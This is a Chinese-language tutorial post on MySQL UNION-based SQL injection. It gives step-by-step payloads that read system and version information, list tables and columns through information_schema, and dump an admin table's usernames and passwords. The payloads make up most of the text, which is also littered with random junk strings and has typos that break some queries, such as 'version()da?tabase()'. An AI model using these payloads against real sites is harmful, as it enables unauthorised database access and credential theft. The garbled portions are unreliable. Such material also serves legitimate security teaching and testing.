mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库
; \: x" w% e, {1 B5 Z1 i
* Z& t- g6 U  V0 m) \' V! yMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
3 C/ D6 B4 v' Z) Q- P$ j  P|SCHEMATA ->存储数据库名的表
% r0 ]& @2 K3 h# L; S  Z|---字段：SCHEMA_NAME ->数据库名称
& S- U6 E3 @5 V0 ^7 x: E" Q
, G+ R0 j8 N& y, W  h|TABLES ->存储表名
& {! s" J+ g  n7 I7 e5 g, o' J. B|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
1 h& }' W! U  N& B$ }- ~: \( ^/ {
, X1 V6 P2 I) k+ v( i" [6 S! w|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

% k2 D2 q" ^3 e1 D& Y  D% x|---字段：COLUMN_NAME ->该字段的名称
- M( U$ b7 s6 ]# B2 T

* }$ V  Y7 c! D
###########################################################################

0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

& o1 f8 [. }  g, s& N3 r3 F@@global.version_compile_os 获取系统版本
* q, Q1 h8 B2 D+ ^
( \8 L/ g) x: i3 |8 k# ]  C* B@@datadir 数据库路径
: _6 h( V& H" k( T  Qdatabase() 当前数据库名称
0x3c62723e 换行HEX值
9 l) ~" h4 r1 M
*/
! G' L* A1 B8 e0 q, m0 X( I* ]1 m


0 @3 L+ i8 z  N( }9 h3 ]) N######################################################################
6 r5 D7 b/ P3 s, z" v) c1 h* r
8 u% @* v! U3 _/ ^! ^& w/ W- L0x002 获取表名
/ V; z) y, H/ k; g5 I. x: V* S1 P
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



, Q: ^5 |3 k$ c1 D2 X: x3 O/*

8 ?4 l$ S% V) b5 e: w; d. ~0x67617264656e 为当前数据库名
8 _2 {+ K& m/ ?# P
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

" b7 E' m9 N8 n% i*/

######################################################################
5 t% L$ y6 l* f" {


0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
: v7 I3 N: K5 \0 v" y3 W
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

% U+ m2 l4 \" O0x61646d696e ->选择一个表
5 k' e! {4 L  T( n) V
0x67617264656e ->数据库名
6 X, ]2 ~$ B3 |8 C
*/
# I% E9 O$ J! @$ L) m! j6 z
#####################################################################



( L" x- y: f* {7 J0x004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
; c( f$ S, i! l' z" G6 K/ }8 d* z, d" w6 N
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 S, Z9 R2 @) z3 A, T
: w2 a  q0 r. w, I6 e# N' v4 n2 ^
( N  B# @0 R& \, }- d
/*

1 M. o* @5 k! }* d0x3c62723e 换行符号HEX编码
% u! {0 G! ]* G& q! N
4 B8 L3 F. b5 J) y4 @group_concat 同时获得该字段所有数据
: Q7 m6 O  b+ B$ n; \# p
( C3 f) A+ z& q/ C*/

$ R& t( M$ _0 p9 t/ U* |  f